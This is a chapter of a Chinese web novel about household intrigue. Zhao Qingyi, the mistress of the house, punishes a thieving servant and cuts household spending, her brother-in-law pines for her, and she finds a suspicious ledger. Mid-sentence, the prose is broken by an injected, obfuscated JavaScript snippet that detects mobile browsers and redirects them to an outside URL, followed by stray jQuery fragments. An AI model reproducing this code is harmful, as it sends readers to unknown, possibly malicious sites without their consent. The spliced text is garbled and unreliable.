“二爷救命啊！大奶奶要克扣您院中份例，老奴实在看不下去才出言驳了两句，大奶奶便要将老奴发卖，老奴也是看着您长大，求求二爷发发慈悲！”那婆子张口便污蔑赵清仪。


    李衡只是路过，一时听愣了，下意识朝八角亭的方向看去。


    赵清仪并未回头，还在与管事逐条对账，这会儿日头正盛，她一袭耀目的霞纱裙立在亭中，每走一步，如烟似雾，飘逸若仙，露出的半张侧颜艳若牡丹。


    先前面对面时李衡不敢多看，如今隔着距离，倒是瞧得有些痴了，直到俏月叉腰挡住赵清仪的身影，正怒瞪在他跟前胡说八道的婆子。


    李衡猛地回过神来，忖了忖，抬脚朝八角亭走去。


    正是人多的时候，李衡出现不算逾矩，他在台阶下朝赵清仪作揖，“嫂嫂。”


    “你有事？”赵清仪撩起眼皮，带着一丝漫不经心的美。


    那一眼扫来，李衡仿佛听到了自己擂鼓般的心跳声，他浑身紧绷，略显局促地说，“没、没什么事，只是听婆子哭诉，便想问问，嫂嫂管家，可是遇到了什么难处？”


    婆子还以为他是来自己出头了，闻言一愣，又要哭，“二爷……”


    赵清仪瞥了婆子一眼，“谈不上难处，只是减了你院中不必要的开支，这婆子便上蹿下跳叫嚣个不停，既然小叔来了，正好当面对质，敢问小叔，这三年来，你可曾在自个儿院中见过燕窝牛乳，亦或是任何酒水？”


    李衡摇头，“不曾。”目光一瞬不瞬地落在赵清仪脸上。


    毒辣的日头下，她细如凝脂的面皮泛着绯色，更添三分娇媚，可她的神态举止却与这副祸水皮囊截然相反。


    她语气冷然，“那便成了，日日报账，主子却从未见过，足以证明这婆子欺上瞒下，贪墨银两，如今还抵死不认，俏月，让人把这婆子捆了，重打二十大板，送到衙门去。”


    先礼后兵，赵清仪给过机会，让她走不走，那就去衙门里待着好了。


    婆子终于意识到，这个府里没人会替她说话，而赵清仪又是个杀伐果决之人，忙不迭哭天抢地的求饶。


    “大奶奶饶命，大奶奶饶命啊！”


    至此，赵清仪最后一点耐心消耗殆尽，“拖下去！打！”


    粗使把那婆子拖出院外，紧接着就是木杖击打臀肉的声音，伴随着凄厉哭嚎传到每个人耳中，院里下人噤若寒蝉。


    赵清仪拍着案上摞得高高的账册，“给你们一个坦白从宽的机会，多拿的吐出来，我便既往不咎，若等我查出来，你们就一起去官府，同官老爷解释吧。”


    此话一出，加上先前赵清仪指出的问题，没人敢再小瞧糊弄她，已经有婆子站出来认错，檀月俏月捧着账册一一核对，凡是坦白者都留了下来，至于那些嘴硬心黑的，贪墨数额过大的，一律捆了扭送官府，由官府裁夺。


    至于内宅总管之权，赵清仪交给了檀月，由管事妈妈协助，重定采买流程，差事轮流经手，月末公开对账，并承诺揭发贪墨者有赏，以此肃清家风，并敲定了各院开支，包括每个人的月例银子，日常用度，务必确保账目清晰，至于超出规制的仆婢一律遣散。


    待琐事处理完了，已近傍晚，乌金西坠。


    赵清仪吃完最后一盏茶，才发现李衡还在院中，他竟是顶着烈日站了半日，出了一身的汗，便示意檀月给他递了张帕子。


    对上赵清仪的目光，李衡似乎才反应过来，接过帕子擦拭额汗，没话找话的说，“嫂嫂治家有方，在下佩服。”


    赵清仪略略勾起嘴角。


    李衡难以招架这种沉默，他攥着帕子，喉头微动，“过去……嫂嫂也曾这般帮过我，一直没来得及道谢。”


    院里下人欺主算什么，当初若不是赵清仪嫁过来时，提起他读书的事，只怕他如今还被罗氏打压着，连去府学的机会都没有，更没可能参加科举，在众人面前扬眉吐气。


    赵清仪于他，是再造之恩。


    当年……


    当年若没有兄长，如今要履行婚约迎娶嫂嫂的，就会是他了吧？


    李衡越想越失神。


    而赵清仪显然不会记得这些小事，“时辰不早了，我先回房了，小叔请自便。”


    她走得毫不迟疑，很快，空气里只剩她走时带起的淡淡清香。


    李衡望着她背影消失的地方，攥着帕子的手一点点收紧。


    回到翠竹轩，李衡打开卧房的矮柜，从里头取出一只云纹乌木匣子，将赵清仪给他的那方手帕仔细叠好，小心翼翼存放其中，这乌木匣子是他生母留给他的遗物，里头存放的都是他自认为珍贵的东西。


    过去匣子里只有生母的遗物，如今，却多了这一方帕子。


    李衡静默良久，门外响起小厮的敲门声，“二爷，老太太让咱们尽快启程，去接应大爷回府。”


    “知道了。”李衡依依不舍合上匣子，将东西重新放回矮柜里锁了起来。


    赵清仪对此并不知情，眼下要紧的事一大堆，忙都忙不过来，就譬如眼下，还有一笔烂账。


    赵清仪沐浴过后，披着外衣坐在案前，手指抚过上头记录的一笔账目，这是罗氏个人的账，许是交接管家权时，下人送账册不慎将这本混了进来，一并送到揽月阁。


    上面有一笔生丝进账，每月不定额，从几十两到几百两都有，且每月递增，而赵清仪将陪嫁铺子的账册全都过了一遍，并未发现哪个铺子有做生丝生意。


    那罗氏这笔进账，来得实在蹊跷，只怕是巧立名目，从别的地方收钱了。


    而罗氏名下没有铺面，能收钱的地方，无非是两条路，利用李彻的仕途收受好处，或是……干脆在民间放印子钱。


    罗氏若真有胆子干这事，无疑是在自掘坟墓，届时整个李家都会受她牵连，若到了那一步，她与李彻和离也是水到渠成。


    赵清仪不动声色地挑起眉梢，另外用一只上了锁的匣子，将那本账册收好。


    刚收完，管事妈妈便来请示。


    “大奶奶，奴婢遵循朝中规制，将老太太和姑奶奶身边贴身仆婢从原先的三人减至一人，粗使


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625644|172343||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    从各六人减至三人，如今一人只配四个仆婢，其余皆已遣散，至于二爷房里，向来就一名贴身小厮和一个书童，奴婢便没动二爷院里的人，再加上大奶奶您院里六人，再算奴婢一个，府中一共十七名仆婢，大奶奶觉得这样可否？”


    “做得很好。”


    赵清仪对识时务之人向来好说话，譬如眼前的管事，过去罗氏掌家，她便效忠罗氏，如今换了自己掌家，她便晓得该听谁的吩咐行事，至少说明，是个聪明的。


    “往后要时刻督促婆母与小姑院里，所有人皆得遵守尊卑礼法，用膳次序，衣着打扮皆有规定，与其他官宦或商贾来往，需得报备于我，由我来处理请帖回礼等事宜，不得僭越，明白了吗？”


    这是要彻底断了罗氏与外人的私交，往后府里，可真就赵清仪一人独大了。


    管事妈妈心中了然，福身应是。


    “今日记你一功，到了月底，自去账上领赏钱。”


    管事妈妈喜笑颜开，又吹捧了主母几句这才退下。


    赵清仪在檀月俏月的侍奉下卸了钗环，正要吹灯就寝，李素素便气冲冲闯进院中，被粗使婆子拦在门口，“嫂嫂，你这样是不是太过分了？”


    “每日粗茶淡饭便算了，如今我和娘的院里加起来就八个可使唤的，你还要削减我和娘的开支，一个月就四五两银哪里够用？”


    赵清仪整肃内务劳累一日，已经乏累了，便没起身出去，只坐在妆奁前说，“小姑也别动怒，一切都是按照规定来，为何旁人府上的女眷能过，你就过不得？”


    “规矩是死的，人是活的！”


    李素素厌烦了规矩，过去怎么不见赵清仪是这般守礼节的人？


    赵清仪点头表示认同，“小姑说的不错，人是活的，夫君每月俸禄就这么点，婆母与小姑还是量入为出的好。”


    “可是你有这么多钱！”


    李素素不知是不是被气昏了头，径直说出了心里话，待她察觉到院中下人惊诧的目光时，为时已晚。


    赵清仪正拆下最后一支金簪，闻言动作一顿，随后“啪”的一声将金簪拍在桌上，起身走到门口，眸光平静。


    “我有多少钱，那是我的嫁妆，是我的私产，我嫁过来已经为你们李家换了宅子，如今府中仆婢的月钱也都是从我嫁妆里出，我这么做已是全了情分，任谁来了对我也无可指摘，我没有义务承担你与婆母的日常花销，要怪你就去怪婆母不善经营，没能给自己儿女留下几分薄产，如今，你只能靠你兄长那点俸禄。”


    赵清仪说罢，俏月便出面将李素素赶了出去，“咱们奶奶做的已经够多了，你可别得寸进尺！惹恼了奶奶，你和老太太就回你们李家老宅住去吧！”


    最后一个话音落下，院门砰的关上。


    李素素碰了一鼻子灰，气得原地跳脚，“等我哥哥过几日回来，你们就死定了！”


    赵清仪弯起唇角，她巴不得李彻快些回来，她倒要看看，府里两个败家娘儿们，届时再多一个外室，多一个奸生子，李彻如何养得起这个家。